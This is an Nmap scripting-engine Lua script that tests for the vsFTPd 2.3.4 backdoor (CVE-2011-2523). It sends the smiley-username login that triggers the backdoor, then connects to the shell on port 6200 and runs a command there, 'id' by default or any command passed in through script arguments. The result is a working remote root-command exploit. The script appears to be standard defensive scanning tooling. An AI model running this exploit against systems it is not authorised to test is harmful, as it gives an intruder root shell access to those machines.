description = [[ Tests for the presence of the vsFTPd 2.3.4 backdoor reported on 2011-07-04 (CVE-2011-2523). This script attempts to exploit the backdoor using the innocuous id command by default, but that can be changed with the exploit.cmd or ftp-vsftpd-backdoor.cmd script arguments. References: * http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html * https://dev.metasploit.com/redmine/projects/framework/repository/revisions/13093 * http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2011-2523 ]] --- -- @usage -- nmap --script ftp-vsftpd-backdoor -p 21 -- -- @args exploit.cmd or ftp-vsftpd-backdoor.cmd Command to execute in shell -- (default is id). -- -- @output -- PORT STATE SERVICE -- 21/tcp open ftp -- | ftp-vsftpd-backdoor: -- | This installation has been backdoored (CVE-2011-2523): VULNERABLE -- | Shell command: id -- |_ Results: uid=0(root) gid=0(root) groups=0(root) author = "Daniel Miller" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"exploit", "intrusive", "malware", "vuln"} require("ftp") require("nmap") require("shortport") require("stdnse") local CMD_FTP = "USER X:)\r\nPASS X\r\n" local CMD_SHELL_ID = "id" portrule = function (host, port) -- Check if version detection knows what FTP server this is. if port.version.product ~= nil and port.version.product ~= "vsftpd" then return false end -- Check if version detection knows what version of FTP server this is. if port.version.version ~= nil and port.version.version ~= "2.3.4" then return false end return shortport.port_or_service(21, "ftp")(host, port) end local function finish_ftp(socket, status, message) if socket then socket:close() end return status, message end -- Returns true, results if vsFTPd was backdoored local function check_backdoor(host, shell_cmd) local socket = nmap.new_socket("tcp") socket:set_timeout(10000) local status, ret = socket:connect(host, 6200, "tcp") if not status then return finish_ftp(socket, false, string.format("can't connect to tcp port 6200: NOT VULNERABLE ", ret)) end status, ret = socket:send(CMD_SHELL_ID.."\n") if not status then return finish_ftp(socket, false, "failed to send shell command") end status, ret = socket:receive_lines(1) if not status then return finish_ftp(socket, false, string.format("failed to read shell command results: %s", ret)) end if not ret:match("uid=") then return finish_ftp(socket, false, "service on port 6200 is not the vsFTPd backdoor: NOT VULNERABLE") else if shell_cmd ~= CMD_SHELL_ID then status, ret = socket:send(shell_cmd.."\n") if not status then return finish_ftp(socket, false, "failed to send shell command") end status, ret = socket:receive_lines(1) if not status then return finish_ftp(socket, false, string.format("failed to read shell commands results: %s", ret)) end else socket:send("exit\n"); end end return finish_ftp(socket, true, string.gsub(ret, "^%s*(.-)\n*$", "%1")) end action = function(host, port) -- Get script arguments. local cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd") or stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID local results = { "This installation has been backdoored (CVE-2011-2523): VULNERABLE", " Shell command: " .. cmd, } -- check to see if the vsFTPd backdoor was already triggered local status, ret = check_backdoor(host, cmd) if status then table.insert(results, 2, "The backdoor was already triggered") table.insert(results, string.format(" Results: %s", ret)) return stdnse.format_output(true, results) end -- Create socket. local sock, err = ftp.connect(host, port, {recv_before = false, timeout = 8000}) if not sock then stdnse.print_debug(1, "%s: can't connect: %s", SCRIPT_NAME, err) return nil end -- Read banner. local buffer = stdnse.make_buffer(sock, "\r?\n") local code, message = ftp.read_reply(buffer) if not code then stdnse.print_debug(1, "%s: can't read banner: %s", SCRIPT_NAME, message) sock:close() return nil end status, ret = sock:send(CMD_FTP .. "\r\n") if not status then stdnse.print_debug(1, "%s: failed to send privilege escalation command: %s", SCRIPT_NAME, ret) return nil end stdnse.sleep(1) -- check if vsFTPd was backdoored status, ret = check_backdoor(host, cmd) if not status then stdnse.print_debug(1, "%s: %s", SCRIPT_NAME, ret) return nil end -- delay ftp socket cleaning sock:close() table.insert(results, string.format(" Results: %s", ret)) return stdnse.format_output(true, results) end